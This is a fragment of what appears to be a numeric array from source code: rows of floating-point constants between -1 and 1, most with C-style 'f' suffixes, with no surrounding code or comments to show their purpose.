0.200782223352391f, -0.936155874445214f, 0.218471971175575f, -0.890402779861849f, 0.268496441855317f, 0.881231954583528f, 0.279360358017994f, -0.492400368838405f, -0.894376670076375f, 0.585129064098519f, 0.340135248071744f, 0.455880107692993f, -0.861081993524584f, -0.303321115935151f, -0.562781799622214f, -0.526041750296426f, 0.999581943964160f, 0.249814139040315f, -0.0537475603822974f, -0.845239239849439f, -0.874024176808607f, 0.997751771128387f, -0.861617607547820f, 0.671357923629889f, -0.687974310115279f, -0.969462039056016f, -0.448304961870341f, 0.713064428261850f, -0.00718668165564318f, -0.450608596544700f, -0.106059234376561f, -0.591961308554238f, 0.588633089685867f, -0.755341317752403f, -0.542715401462936f, 0.759199260356047f, 0.0297710796506234f, -0.997343196630657f, 0.574076752994254f, -0.696719940193256f, -0.852227517176613f, 0.906332566627663f, -0.171801252847090f, -0.925131151948528f, -0.0212194634560026f, -0.940316444070044f, 0.262965279952363f, 0.902198615594563f, -0.265057066430189f, 0.161983092277652f, 0.0181345459457500f, 0.467973650469608f, 0.857351800575040f, -0.889882538061811f, 0.728868283859490f, 0.671187732362764f, -0.296882575397444f, -0.793099233276668f, 0.335561922676737f, 0.0671874495572633f, -0.0857142329385701f, -0.352870876674233f, -0.119927139078065f, 0.814127111105761f, -0.323910302649634f, -0.313495077982818f, 0.0690526899468447f, 0.877155536890319f, 0.768040884649443f, 0.158910636324140f, -0.824414709871474f, 0.00718921022841235f, -0.868917281154898f, -0.564967532196669f, 0.206261416621150f, -0.0699574404456100f, -0.0547095858591442f, 0.811674902353136f, -0.562993920383635f, 0.441212008804309f, 0.917951119557396f, 0.915571961092301f, 0.0901952529553498f, 0.614118141118295f, 0.760473529905706f, -0.566505475760865f, 0.00880029006400429f, 0.975626259597421f, 0.370738159620831f, -0.0242162976348563f, 0.828887690189252f, -0.665240810020082f, 0.00123256686221063f, 0.184020074202841f, 0.829917510366750f, -0.447854906466885f, 0.529356328938248f, -0.995192699858126f, -0.843748622724646f, -0.422765372440245f, -0.386179414096638f, 0.206325400140261f, -0.369817591904938f, 0.266933785902425f, 0.892617584642659f, 0.740018647415220f, -0.481907279471296f, 0.248268418729551f, -0.382770749117505f, 0.974424303757207f, -0.879320252286332f, -0.0294961755317245f, 0.638693329623790f, -0.765127178629299f, -0.160881380476610f, -0.725001019123526f, 0.00294709357263234f, -0.701949969294570f, -0.708933381768328f, -0.463893635537772f, 0.476650147791524f, -0.206043208566879f, 0.223011684523516f, -0.258637160422673f, 0.206325908651728f, -0.432336904344548f, 0.921979975841259f, -0.944396630315761f, -0.00680582426415510f, 0.319263487872783f, -0.836389324192867f, 0.111532890274445f, -0.938142383682239f, -0.637288670131655f, -0.834211558255576f, 0.251969378874330f, -0.970874587083192f, 0.831662411079802f, -0.446568187924869f, -0.659109068071113f, -0.877869176622375f, -0.890670252448197f, 0.477602927742628f, 0.324737705007923f, -0.147513413112549f, -0.186594638422632f, -0.282864808082840f, 0.745093922271927f, 0.915500859154332f, 0.0421588655873384f, -0.483320910754088f, 0.00503734690385604f, 0.555792895688253f, 0.129412601050279f, -0.229347983583150f, -0.680101211823600f, -0.866063899229274f, 0.437769924839021f, 0.133958234316391f, 0.589233411145099f, -0.498053917701437f, 0.180863681584405f, 0.525955777469479f, -0.581250985307273f, -0.327934857804250f, 0.482381204171926f, -0.867703472610278f, 0.833733008515087f, -0.607761820334944f, -0.758512235503178f, 0.0380785706067470f, 0.719862150842292f, 0.651283470517919f, -0.614218162858801f, -0.239754124815405f, -0.733992057859951f, -0.422541764223845f, 0.951215428883086f, 0.882569470276544f, 0.937054481646402f, 0.184532408731968f, -0.104097666585483f, 0.693277433170057f, 0.800241936558839f, -0.998230532922071f, 0.259835639125661f, 0.562745639592536f, 0.220441127510705f, 0.313735993201991f, 0.330940415696351f, -0.602872424656300f, 0.841677792852844f, 0.749701489563795f, 0.266727039860087f, 0.696379094133993f, -0.430719144952456f, -0.276768289732264f, -0.0872580230244173f, -0.722033206227688f, -0.837309584159114f, -0.629739366225350f, -0.185692585028452f, -0.110619837317415f, 0.515881116042359f, -0.105875685978079f, -0.513700186568578f, 0.961245417898430f, 0.655513716233953f, -0.0921704793645632f, -0.694925472850399f, -0.872174817305748f, 0.0307133806779607f, 0.531120672076921f, 0.965271277398122f, -0.00974420246777163f, -0.497322783064087f, 0.693565685926388f, 0.546918707342947f, -0.230039497490898f, -0.316024461029338f, 0.684231559582941f, -0.306362794944468f, 0.861366189035942f, 0.378922635334764f, 0.259443877770437f, -0.838617128408830f, -0.205350631644011f, -0.139772960377519f, -0.192918167939180f, 0.602404904043886f, -0.537407583974730f, -0.877007125624351f, 0.361539942609439f, -0.732030207831016f, -0.488792995226420f, 0.612591017966442f, 0.567185560938756f, 0.195543595335781f, -0.428955670554558f, -0.666590144318038f, -0.702467396810860f, -0.894350832807439f, -0.0620405855731709f, -0.583114546325259f, -0.482155957064968f, 0.212152442925647f, 0.112603107288251f, 0.0683986906619714f, 0.639176340917929f, 0.642610005510521f, -0.708605273163374f, 0.739594669131005f, -0.492786220480274f, -0.308196102291547f, 0.918748221553053f, 0.186736140989674f, 0.438437026242591f, 0.638769573344929f, 0.928896220524135f, 0.579945520523175f, 0.218608554904045f, -0.526070140579576f, -0.140303420071590f, 0.304347769360423f, 0.488123173638490f, 0.987207018313181f, -0.536397951752998f, -0.553296120219359f, 0.184294880372153f, -0.101502970339396f, 0.287041514309517f, 0.658172721877726f, -0.270141883431914f, -0.0196021946303913f, 0.000779126872975988f, -0.0500294515684538f, -0.588505226599557f, 0.550916571982769f, 0.703271386531766f, 0.982335628009701f, 0.942133544852489f, 0.690741953320684f, 0.0466423349204477f, -0.941178278727504f, 0.121655023640973f, 0.777925151322362f, 0.132430336075323f, -0.114812120408198f, -0.694094073965245f, -0.441397675924967f, -0.187253074701348f, -0.672248118097589f, -0.688869123609503f, -0.0723581859661586f, 0.553779536791160f, 0.380610143087564f, -0.392032089052147f, -0.709403552653908f, -0.607184251637473f, 0.698227587629545f, -0.272885954851784f, 0.0736609147840435f, 0.687106303730018f, -0.230362931709251f, 0.393640839382244f, -0.846905732907407f, 0.0727598538725249f, -0.0119849190815611f, 0.470122652313157f, -0.171681529301612f, -0.329268850654460f, -0.433013841687086f, -0.943499527192280f, -0.123404693276305f, -0.0861435714812342f, -0.228816973160929f, 0.0531549757963279f, 0.901446101051298f, 0.470738280922993f, 0.238383552115632f, 0.292841887198914f, -0.617423653544601f, -0.865786115828523f, 0.586332203179351f, 0.267618252846898f, 0.888575002575769f, -0.0220649407038027f, -0.946385428026066f, 0.317436113017866f, -0.277195072909682f, -0.207326502081016f, 0.735387675940421f, 0.961386190882120f, -0.564038045970629f, 0.840007249305217f, -0.262593952346269f, -0.556378761937190f, -0.346529850864238f, 0.00895460576800877f, -0.695431082536551f, -0.105261635693881f, -0.658342101938401f, -0.631093613961188f, 0.601639903111316f, 0.886830692209879f, -0.600591324826329f, -0.350296019796741f, 0.294348102011741f, 0.555826495708193f, 0.216370653207427f, -0.672654026881445f, -0.572202359802723f, 0.202776438466314f, -0.490708964058038f, 0.0148723360197853f, -0.799031226692943f, -0.221164759306209f, 0.0323674121757880f, -0.130290693568615f, 0.613592603765503f, 0.372755498065474f, -0.540502917956863f, -0.740021877141017f, 0.652888612951242f, -0.666157898478327f, 0.476156241264794f, -0.632081251666311f, -0.538341981270842f, -0.275717185193560f, 0.332983363477103f, -0.989659450166330f, 0.212868816589688f, -0.238985653168422f, -0.453005976359810f, -0.805975530848911f, -0.948192632970312f, -0.291329963979224f, 0.549811667826684f, 0.291147979443248f, 0.909805561757383f, 0.0728533843443158f, 0.737767652888933f, 0.605331616290165f, 0.274826946403577f, 0.710517586349601f, 0.666670055891909f, 0.522059053677516f, -0.553398792071804f, -0.406610321679562f, -0.893232547853708f, 0.549587730399741f, 0.714498083720551f, 0.281833380830291f, 0.652788061587949f, 0.825163748516741f, 0.381299333971584f, -0.485549061474930f, -0.881961689917888f, 0.308937809723222f, -0.524542880617761f, 0.329114405956449f, 0.434631551667457f, -0.894732322264538f, -0.831528385961058f, 0.669760583803638f, -0.674650675537928f, -0.373119878846435f, 0.456602566684508f, 0.387804792569985f, -0.556983911869482f, 0.000826745899317194f, 0.687973801099889f, 0.0471935422816141f, 0.0768302380434509f, 0.317557055919800f, -0.823316513699125f, 0.394699119350099f, 0.609556161256400f, -0.0413041171293194f, -0.244100882405517f, -0.939678976894569f, 0.403390183804743f, -0.933567523933859f, -0.331149894636631f, -0.0265881324103010f, 0.224249195386459f, 0.888271870759308f, -0.119845268644579f, -0.357275416804345f, -0.597001288429956f, -0.486847206619720f, -0.181232488650601f, 0.115441291842326f, -0.599055795186955f, 0.213179364205327f, -0.205238322081458f, -0.373942142629613f, -0.610680997090469f, -0.495737765362772f, -0.257634306994249f, 0.583708320566486f, -0.372047136603982f, 0.953878668619925f, -0.632595987923462f, 0.452049761997455f, 0.166602807787896f, 0.773555002555059f, -0.277154387560832f, -0.557129156714301f, -0.985242402457283f, -0.441173064787937f, 0.561221765682284f, -0.352004972295446f, 0.970292440826449f, 0.855523836321424f, -0.528113079339624f, 0.685454746939680f, 0.322200261898966f, 0.953249967336372f, 0.825673980624808f, 0.177229970128320f, -0.728281956776614f, -0.479030792350269f, -0.00697019557862144f, 0.851652517094715f, 0.853865750362844f, 0.514736989335681f, -0.943509205199198f, -0.0524009027225623f, -0.0798997671509367f, -0.355414349557791f, -0.366273957594958f, -0.565729285138989f, -0.931573923976439f, 0.345119269147864f, 0.638375370217726f, 0.711524360229150f, 0.331664704859388f, -0.986788646426241f, 0.521200596781614f, 0.656290865944842f, -0.436907564088290f, 0.305075696150381f, -0.848337345127939f, 0.354044695448027f, 0.690691708552038f, 0.900352213238582f, 0.475181192463882f, 0.219103309687964f, 0.885437995493547f, 0.421455288320496f, -0.879874221804522f, 0.893371290952196f, -0.545214090169942f, 0.800731783168682f, 0.249421864783476f, 0.0766192343033301f, -0.745747520609971f, -0.613575150364454f, -0.700199720327423,
0.0694373671332735f, 0.759953164582251f, -0.0973030480378387f, -0.298615297250225f, 0.0176506580013247f, -0.269562553201540f, -0.405489169051539f, -0.00491991297033256f, -0.0327449030548885f, -0.688168836745951f, 0.703014457338754f, -0.0909491575673764f, 0.738417882180070f, 0.202377973915515f, 0.338436193625848f, -0.408790267504483f, 0.611776208408261f, -0.711043784659083f, 0.841495665411188f, -0.0445715899008592f, -0.127281559164749f, -0.778797832908623f, 0.210344625249896f, 0.287086540530447f, -0.703702357088620f, -0.151146112491418f, -0.785180444786487f, 0.427963227387140f, 0.873814130606035f, -0.344356753075357f, -0.755726746591465f, 0.846013365191461f, 0.126678120904524f, 0.166687962199295f, -0.148273386834835f, -0.770559345875477f, -0.999129219024862f, -0.223692721084046f, -0.652712854614213f, 0.468054498362978f, -0.911782175948953f, 0.555084850374905f, 0.103972972463380f, -0.414021910330282f, 0.938793897617340f, 0.515461292224815f, -0.127677414947037f, 0.510661477088580f, 0.898409443447962f, 0.528096097102698f, -0.444620870908750f, -0.275909952832928f, -0.516074838791812f, 0.110104492330694f, -0.293114842926621f, -0.596621371059734f, 0.152807456749103f, -0.592864305196648f, 0.948295231208874f, -0.575278847840010f, -0.312463646261757f, 0.664597237604897f, -0.177619554099550f, -0.932259652303036f, -0.295074750863924f, 0.731539128777660f, 0.860409131570119f, -0.0947206503071862f, 0.106073387018718f, -0.235389180430490f, -0.494787189603633f, -0.536357147973158f, -0.680862001049455f, 0.618979489665256f, 0.613893487415732f, -0.308605775713246f, 0.694789556987429f, -0.440049894326668f, 0.908690328690240f, 0.233612239829512f, -0.190662564463532f, -0.344799878911344f, -0.185877286582818f, -0.553543917790750f, -0.859543533414720f, -0.996044831818542f, 0.0388505104043095f, 0.650508591477642f, -0.425233346101631f, -0.576839967180874f, 0.378730359294024f, 0.531713629917424f, 0.506096660522796f, 0.854779196325727f, 0.725302682547051f, -0.414685510902716f, 0.654208477287561f, 0.580368151427426f, -0.000356066597174687f, -0.897393734991154f, -0.845565244312410f, 0.615044057364182f, 0.0434592638759266f, 0.342119048500289f, -0.696414680186901f, -0.713269554140146f, -0.580866925323696f, -0.290886355957456f, -0.473082507703548f, 0.517942229000179f, -0.846159512055215f, -0.715410253368047f, -0.526272663742330f, 0.114004124940380f, -0.207397773975621f, -0.920379649009572f, -0.277970833475531f, -0.636533427057722f, -0.972531734576472f, -0.687000156900366f, 0.872752357637196f, 0.617872391924648f, -0.835274231587444f, -0.383282792481497f, 0.399233665040770f, -0.191230601890140f, 0.620222785371960f, 0.106379326744619f, 0.987222511696630f, 0.219022023664391f, 0.179689082166371f, -0.961619514581522f, 0.570178582343486f, -0.811091514477978f, 0.924484469376845f, 0.744507591138529f, 0.272936430096096f, 0.0646316580619510f, 0.314005111302676f, 0.558833629327024f, -0.329744916784918f, -0.544045568909541f, 0.895769679770795f, 0.798125821580789f, 0.877473384028199f, 0.616163339432501f, 0.441057381106904f, -0.642498173762053f, 0.989059595616979f, -0.374771110304453f, 0.480877593471524f, 0.904941689893360f, 0.428742160807762f, -0.430483645585549f, 0.0830560957640680f, 0.694220841170708f, -0.602964792788891f, -0.522672782287498f, 0.717494777479591f, -0.918002255923909f, -0.454075191574169f, -0.378662039464110f, 0.221482629450150f, 0.750918040362614f, -0.636211037178780f, -0.254529141198887f, -0.944623201010144f, -0.720775773991847f, -0.674641067104323f, -0.208243950413264f, -0.959488786545901f, -0.619966503980330f, 0.599486634018692f, -0.0955439064236721f, -0.458181000169795f, 0.736914498713083f, -0.176789993854223f, 0.676652697410790f, -0.967275583857650f, 0.319377813603719f, -0.427030468653864f, 0.0670640089595258f, 0.769945699222976f, 0.767923203047440f, 0.985790354694142f, -0.207111795449682f, 0.219134401666738f, 0.548513609112215f, 0.977227384558063f, -0.198131173309759f, 0.914163808432723f, 0.178214485462450f, -0.240590252223318f, 0.356128697574950f, 0.453093488702627f, -0.0401152114159198f, 0.818060948361957f, -0.880551400213416f, 0.631519794065582f, 0.658832307703964f, -0.179752451562622f, -0.237844011105596f, 0.739834592198990f, 0.711355594921083f, 0.774856912009109f, 0.321864249971600f, 0.470574585274056f, 0.261964793641569f, -0.634481134262705f, 0.461363065389595f, 0.0879014163867016f, 0.698353456328335f, 0.0611830044908546f, 0.918599000791453f, -0.147822590771951f, -0.208296009525534f, 0.775436805889909f, 0.0380914463017457f, -0.954468558268744f, -0.620451283908529f, -0.770251739379244f, 0.772246778681563f, 0.326462458587915f, 0.417738473564738f, 0.0942643452092895f, 0.486153909005530f, -0.720202618855819f, 0.0172425211828453f, -0.460430186764708f, -0.582933725313246f, -0.439721219285309f, -0.694337374508112f, 0.493516461453915f, -0.993527345413430f, -0.562763570629586f, -0.0644937992008268f, 0.741476357523546f, -0.668588797988340f, 0.594184164979780f, -0.605220767543645f, 0.110074204567278f, -0.599398769115359f, 0.723882026196765f, 0.678747828159456f, -0.608589528492249f, -0.881419419882399f, -0.139357674240927f, 0.873828011683502f, 0.314798068434754f, -0.457017849147976f, -0.526003289738433f, -0.411404919696823f, -0.792254466556923f, -0.299635866135236f, 0.0102316480137963f, 0.161921266554201f, 0.981427028530907f, -0.647351555346480f, -0.183312260273700f, -0.348651484808239f, -0.198142718294920f, 0.589869434168343f, -0.201926511662287f, 0.0337896878721506f, -0.0276515055864679f, 0.236943449722327f, -0.473103622922213f, 0.954358213176107f, -0.536519478008862f, -0.603363977756898f, 0.776267386457251f, 0.780662223932714f, 0.289187291033147f, -0.439954328280331f, 0.0429585232791456f, 0.457321950803212f, 0.236810565417317f, 0.167393310927116f, 0.634521586990289f, 0.154409349572581f, -0.750588956901316f, 0.862647670558265f, 0.800182258889404f, -0.342011510602950f, -0.102697321575297f, -0.797254530582515f, -0.718599505627591f, -0.729105921762328f, -0.152424255231618f, -0.702781451563249f, -0.0212710413372206f, 0.961258625954530f, -0.598484979483616f, 0.188043416567111f, -0.511990501189325f, -0.437449883017104f, -0.352443017251219f, 0.0991554004559394f, -0.663282401319921f, -0.835139403797870f, 0.587602722898819f, -0.939771062270554f, 0.613878515061637f, -0.523857415147229f, 0.444842501987166f, -0.297001528475358f, -0.914581150341453f, 0.554844832376064f, -0.816400014706997f, 0.823726509832068f, 0.704425080572720f, -0.819397910034912f, 0.999003444973468f, -0.968751535943602f, 0.0311500939174130f, 0.247867291448898f, 0.835560943875924f, 0.169794916341582f, -0.302041142019408f, 0.289549413666482f, 0.672141268085176f, 0.947060095876251f, 0.324754171403184f, 0.800014020753458f, -0.785428883146460f, -0.463092135879982f, 0.659192831110219f, 0.118301326248760f, -0.542297334341874f, -0.335957421787428f, 0.794808066256455f, 0.625133567458879f, 0.227917183877260f, 0.533557157748932f, -0.948877884679630f, 0.186417887458649f, 0.859592912781013f, -0.0183320237921572f, 0.967066787435574f, -0.141349529637213f, 0.958107445094614f, 0.264359167622140f, -0.631325355674829f, 0.684598042547604f, -0.527467468151933f, 0.294659298854560f, -0.439220168509424f, 0.391038218778621f, 0.0155669207052447f, -0.681384294454809f, 0.146739459198561f, -0.756404876084652f, 0.381192113543008f, 0.442850940158445f, 0.964002016096921f, -0.0507253848694798f, 0.563462880019551f, 0.190980650425415f, 0.482598778123453f, -0.273426091300166f, 0.980640722167518f, 0.198298590133615f, 0.678100193958147f, 0.530416610025615f, 0.196483886579908f, -0.00515783872303177f, 0.0273438459465027f, -0.257248394117661f, -0.576964504105195f, -0.331030677719652f, 0.389178134459083f, 0.0714066784585938f, 0.915179137858455f, 0.529738860096996f, -0.0851681338619263f, -0.692212896293625f, 0.0786352959300358f, -0.122712774017974f, -0.154641019547052f, -0.487537192251297f, 0.0435645872670241f, 0.856938631597551f, 0.351874085305670f, 0.708100804109985f, -0.701200509799317f, 0.0804479422214388f, -0.0794375302823220f, 0.543751723132725f, 0.346144383452864f, -0.680373368944156f, -0.572281173045994f, 0.237981706511708f, 0.0671482960376590f, 0.852393956008547f, -0.301262907769845f, 0.523762878044853f, 0.0885512158718469f, 0.885168455552951f, -0.333351382431635f, -0.914187358461713f, 0.657220242471575f, 0.202238670865175f, -0.660684692864216f, 0.641271628674064f, 0.795923699912913f, -0.332641448887164f, -0.297595219329770f, 0.427283618553541f, 0.601893958036382f, 0.355248259075043f, -0.420766820174961f, 0.355159952778514f, -0.806733697216087f, -0.694403711049608f, -0.719250654428532f, 0.580487742419744f, 0.959156165420351f, -0.941898541689400f, 0.960568821753178f, 0.119007749103819f, -0.973468502734443f, -0.627534816021182f, 0.331394418445345f, -0.415230278112412f, 0.225355270950915f, -0.216818510922154f, 0.716553646689289f, 0.149097723527982f, -0.212491921692561f, 0.681645638056938f, 0.675358683729395f, 0.0591550775861416f, -0.221626142364110f, -0.235878877821190f, 0.168188057112471f, -0.709738432254387f, 0.842890391064944f, -0.331175752377862f, 0.231375360302226f, -0.714989093452242f, -0.492645353426504f, 0.552424848261518f, -0.436987392663331f, -0.336155191719795f, 0.137666231065822f, 0.739347397348610f, 0.493222787180627f, 0.283646543313800f, -0.603522923409923f, -0.474181275984451f, 0.249315354427624f, 0.323736714335287f, 0.933612934150728f, -0.651555022796413f, -0.743229221575077f, -0.648309364385349f, 0.115117716036212f, -0.0689988553878600f, 0.0394979772968704f, 0.732729774997258f, 0.487584669162102f, 0.808754952095239f, 0.827617962775983f, 0.550826738558347f, 0.890858298785235f, 0.152998196795770f, 0.401198245071198f, 0.187173931669199f, 0.576387011979054f, -0.464903903379260f, 0.735172244343599f, -0.0393734341215035f, -0.501927105416023f, -0.852926247859480f, 0.384774001880198f, 0.723957370923565f, 0.869614310250896f, 0.698124990202440f, -0.0618370378422302f, -0.273879540781302f, -0.0745005910544518f, -0.754408143155094f, -0.859084370639359f, -0.709011936778905f, -0.883595552533659f, 0.326386065122049f, 0.756686513420982f, -0.639817612043620f, -0.536531544653662f, -0.596858657734988f, -0.187117983404806f, 0.760208405412209f, 0.191383034225783f, -0.771443976174702f, -0.371171018178012f, 0.723338724416329f, -0.325113980261468f, -0.652823731845602f, -0.902765567501679f, -0.109945188610355,
0.863727536109734f, 0.762531987550249f, 0.484671237555863f, -0.376731181566557f, -0.961176245257487f, 0.374503763045540f, -0.275274129954644f, 0.947951135663002f, 0.891610575724484f, 0.233179187366345f, 0.868694446846928f, -0.201812205484274f, -0.676342903796604f, 0.962133604967067f, 0.0941637112283598f, -0.0856261317646829f, 0.375061189807232f, -0.275342940020193f, 0.0614298144531287f, -0.183234253182376f, 0.146964792162229f, -0.307180215012337f, -0.139123531176191f, 0.130840221889238f, -0.0654726742084248f, 0.988722897887987f, -0.805684911622576f, 0.763299463922693f, 0.148136188784880f, -0.432183160161832f, -0.592185939638987f, -0.593835208842770f, -0.366135084813261f, 0.840566739882685f, 0.572052978307971f, -0.825682529425410f, -0.970222226210689f, -0.554421263584439f, 0.324648156825255f, 0.0472246837302466f, 0.168098848238140f, 0.00634984653176796f, 0.850237261066903f, 0.286624344510407f, 0.196043215794080f, 0.289161416244007f, 0.334801090322515f, 0.871286740072183f, -0.754609531300255f, 0.623871003889383f, 0.0843430009639772f, -0.736369938040848f, 0.400507674511444f, 0.816325383600297f, -0.500667496861800f, 0.453092855162135f, 0.281798170796444f, 0.631969623501011f, 0.472467114651372f, 0.525988741184527f, -0.124862967293674f, -0.882904489381606f, -0.501090007558747f, 0.631622297793485f, -0.0234210285578584f, -0.521093811962915f, -0.0402368492672573f, -0.762999364505356f, 0.948716268452360f, -0.572740830308272f, -0.261042904339051f, -0.506108365537530f, 0.585933508412429f, -0.362463094458446f, -0.885375028242576f, -0.835757117571791f, 0.337250829139564f, 0.298618238243588f, -0.744903291826588f, -0.979848674056393f, -0.488518944548476f, -0.000297116577397283f, -0.137863396173336f, -0.627207234158244f, -0.970417810284170f, -0.601487862773028f, -0.999527775716382f, 0.116672274325216f, -0.786330829714504f, 0.740118245374718f, 0.856485463622646f, -0.555144930193560f, -0.0168912375666686f, -0.774544329159697f, -0.782767315598991f, -0.600844843420598f, 0.885816107471180f, 0.577075799078571f, 0.663829997048111f, -0.359000184287277f, -0.390009578642891f, 0.202240602818017f, -0.0191477232064394f, -0.566459499064884f, 0.288883557382261f, 0.962583478738218f, 0.782123756762393f, -0.312311582870785f, -0.749354208187204f, 0.205679267602357f, 0.804004517387718f, -0.733078779233144f, -0.426195645938973f, 0.686872484317089f, -0.398704803137823f, -0.267786412313359f, -0.374306263341615f, 0.632992513422251f, -0.972217744254910f, -0.167080739523409f, 0.608176739669718f, -0.935550125875275f, -0.422451600932096f, 0.499643952974426f, -0.491034978653149f, -0.0256130378373849f, -0.158669355267388f, 0.360503946885584f, 0.227714934784132f, -0.138648043280479f, -0.0707461296301128f, 0.0638330442765616f, -0.168811643868974f, -0.575670642767690f, -0.162143785491822f, 0.528621079903453f, 0.581283330394272f, 0.444430744183000f, 0.859288341846780f, -0.170487584890459f, -0.440175706710406f, -0.184806402672108f, 0.676010805169568f, -0.0117535553470483f, -0.231606756742133f, -0.210042044569361f, -0.517950708003565f, -0.805772781723687f, 0.156938933772370f, 0.892075905739393f, 0.403874478002384f, 0.572031508558373f, -0.604145909072008f, -0.330076696654475f, 0.0314560087228033f, 0.683787496948704f, -0.788582181996934f, 0.835276281386949f, -0.0644658492206380f, 0.938270191882745f, -0.344927907293928f, -0.976720519493346f, 0.906264084343827f, -0.648152742145255f, -0.776984965421811f, -0.299470572593974f, -0.423690646950321f, 0.749911693814570f, -0.701929894551648f, -0.665191316321370f, -0.568359320650352f, -0.957309362369509f, 0.914088966355983f, 0.770952996203681f, 0.0924190787439159f, 0.844599990803978f, -0.613336716591875f, -0.683270165308367f, 0.358563204319583f, 0.934597169812267f, 0.236596595813630f, -0.895964332479994f, -0.673302324943916f, 0.454883302340070f, -0.473926010524343f, -0.576000657136217f, -0.644850950007290f, -0.980218836434995f, 0.321620362364719f, -0.799924718666919f, 0.0619872524925393f, -0.609255645268410f, 0.159243124858648f, -0.339764623434603f, 0.379865023026277f, -0.923132229333074f, -0.0300494021321296f, -0.183835365297645f, 0.122648511393234f, 0.887652015676064f, -0.616448517838488f, -0.920600866006207f, 0.352861591267815f, -0.930578364778234f, -0.378819076263050f, 0.775423778544869f, 0.836977798656885f, 0.0472244767469148f, 0.484934339557912f, -0.939155187409193f, 0.261555270800537f, 0.143595058480400f, -0.323517719771947f, 0.483466454684928f, -0.423163689969697f, 0.356966814701025f, -0.843907304366205f, 0.945903563730962f, -0.495952298317153f, 0.972277051575873f, 0.153052037173145f, -0.715894882755676f, -0.617028915483254f, -0.332307224095366f, -0.171207102890728f, 0.841771328272651f, -0.0308707743261867f, -0.626480028747696f, -0.729235538916864f, -0.743517330301179f, -0.733868915239511f, -0.449192858200231f, 0.362286468575150f, 0.327436676142902f, 0.609768663831898f, -0.147499187968100f, -0.470195300907973f, -0.232167856443943f, 0.225074905574485f, -0.0818541072414634f, 0.793403933843056f, 0.267628199755028f, -0.391701371806294f, -0.846991992740029f, -0.776221590294324f, 0.121351482320532f, -0.189789365942677f, -0.894392208695015f, -0.632864319945356f, 0.927817761109627f, -0.732454610273421f, 0.260011686544283f, -0.713973491605344f, 0.469764032416604f, -0.608895265807545f, -0.684992974060601f, -0.745556289276139f, -0.536308213076133f, 0.586581187207818f, 0.149804345860779f, 0.401576742698496f, -0.719670291046630f, 0.618659855530024f, -0.256639783379370f, -0.862966031725668f, 0.893866512913152f, 0.861800793529066f, -0.704895723095590f, 0.154163397540805f, -0.0775797186536984f, -0.252297335448882f, 0.869851864160888f, 0.428747373815147f, -0.818372805928921f, -0.739117647833389f, -0.697378012429133f, 0.182997863108567f, 0.689563104159966f, -0.0506114067037338f, -0.705077813920782f, 0.452892458862023f, -0.365069844049503f, -0.889224821648518f, 0.0194889225677406f, 0.847743515500726f, -0.0650338075825718f, -0.108889937983496f, -0.168485037502421f, 0.912533003086865f, 0.428132366084106f, 0.692652998111620f, 0.130599999674344f, 0.411245435867244f, -0.194909473459497f, 0.562152151569866f, 0.503795293326445f, 0.801805532943245f, 0.795718119772331f, -0.327975015537058f, 0.771389506217327f, 0.237139782375987f, -0.793798852884360f, 0.537824655594807f, -0.0767253125021830f, 0.444538451472890f, 0.623473048970629f, -0.500663871860675f, -0.890399840538612f, 0.389528755348857f, -0.915832255765501f, 0.000652855725217894f, -0.121310443088642f, 0.206662014558968f, -0.409513641801496f, -0.0496262665388731f, -0.313314447256644f, -0.994839397423865f, 0.344513198428247f, 0.250828855150578f, 0.845438302422055f, -0.728803841305459f, 0.249670562418639f, 0.543601559270672f, 0.0138774767713057f, -0.0667600054234216f, -0.803421294778238f, -0.222729734665659f, 0.461896933387103f, -0.378537171475208f, -0.464200027877777f, -0.363170335357481f, 0.616070694104851f, -0.316407896795124f, 0.131719997218670f, 0.0622146037260092f, -0.881713850066484f, 0.400811652868418f, 0.163777537634682f, -0.528768052383715f, 0.553072310703894f, 0.931393033749660f, 0.410062835546529f, -0.190904471223264f, 0.0533617852685424f, -0.911780226731855f, 0.823696403963215f, 0.756735978125573f, -0.849701310148249f, 0.106070214350541f, 0.747890454578944f, -0.559823302095172f, 0.976181619002882f, 0.506524051225122f, -0.0735228576098872f, 0.635610640336510f, 0.607728217052133f, -0.383443012662118f, -0.640835123345673f, 0.0897243696426577f, 0.722421963278953f, -0.368833835044170f, 0.684790387373836f, -0.0336846755494535f, 0.199819176553169f, 0.351822803019512f, -0.433387005248570f, 0.709401898386598f, -0.0149217994364210f, -0.549115733466769f, -0.774049259429836f, 0.440376751789406f, 0.740171176715015f, -0.322301969056869f, -0.148261856544327f, 0.724527166150266f, -0.744178178219827f, -0.743031462890542f, -0.00997727490160383f, 0.550074849063942f, 0.147825200269716f, 0.777182602759074f, -0.625412073440604f, -0.0614214671235789f, -0.400121310797195f, 0.864511820640236f, 0.327656445569618f, 0.765838911283705f, -0.906185069285438f, 0.543656228031101f, -0.527337383463707f, 0.544932532036177f, 0.453966596910417f, -0.422906847383216f, 0.803455668330395f, 0.496651297123425f, -0.254890927444284f, -0.940902660088963f, -0.0691448074129200f, 0.0165534278793877f, 0.510199004798987f, -0.0286331020627788f, -0.141471298460923f, 0.872000980716430f, -0.752995088893842f, 0.167696515625982f, -0.181673581299286f, 0.496236252387172f, 0.854022562040503f, 0.388320660177419f, 0.499320363074588f, 0.173522726183149f, 0.0334192536945390f, 0.631347719906229f, -0.832803059709609f, -0.523826088751894f, 0.322557683663180f, 0.0263621365506006f, 0.948982322858062f, -0.253991680115490f, -0.165970359640120f, 0.331700483099733f, 0.808731855823033f, 0.159862831431822f, -0.438178259673022f, -0.943749594272300f, -0.967819867274861f, 0.263403865531262f, 0.710981741513574f, -0.274597382335371f, 0.929606564147885f, 0.125943272920181f, 0.691306164809532f, -0.607946869004681f, 0.284352421048012f, -0.421663515398071f, -0.409479725854699f, -0.152265311389352f, 0.630868673855242f, 0.123144840061153f, -0.645105689918733f, 0.360153393247973f, 0.683885744053582f, 0.752598814717991f, -0.581494857182821f, -0.469116962448560f, -0.0691726199196117f, 0.174679188611332f, 0.351269328558955f, 0.394815335607621f, 0.710281940645013f, -0.618593505217632f, -0.721546422551907f, -0.974088703589852f, 0.939556772536401f, 0.599407011070674f, -0.342213391542906f, -0.387135346574836f, -0.572027944718123f, -0.622717582512866f, -0.676949872287677f, 0.993953153886700f, -0.784539234625462f, 0.788778188174951f, -0.0652679971583152f, -0.988740647590182f, 0.748989697777310f, 0.412949190397683f, 0.206661198525718f, 0.573116044772809f, 0.938498079842984f, 0.743167714677278f, 0.755679122637903f, -0.295095987460132f, 0.217166189740252f, 0.230160404687938f, -0.504654557405015f, 0.472402206737240f, -0.867751757044285f, 0.869050101160567f, -0.905285205825199f, -0.0698843699947245f, 0.762379282963140f, 0.634191197174691f, -0.498487028811837f, -0.284257632541078f, 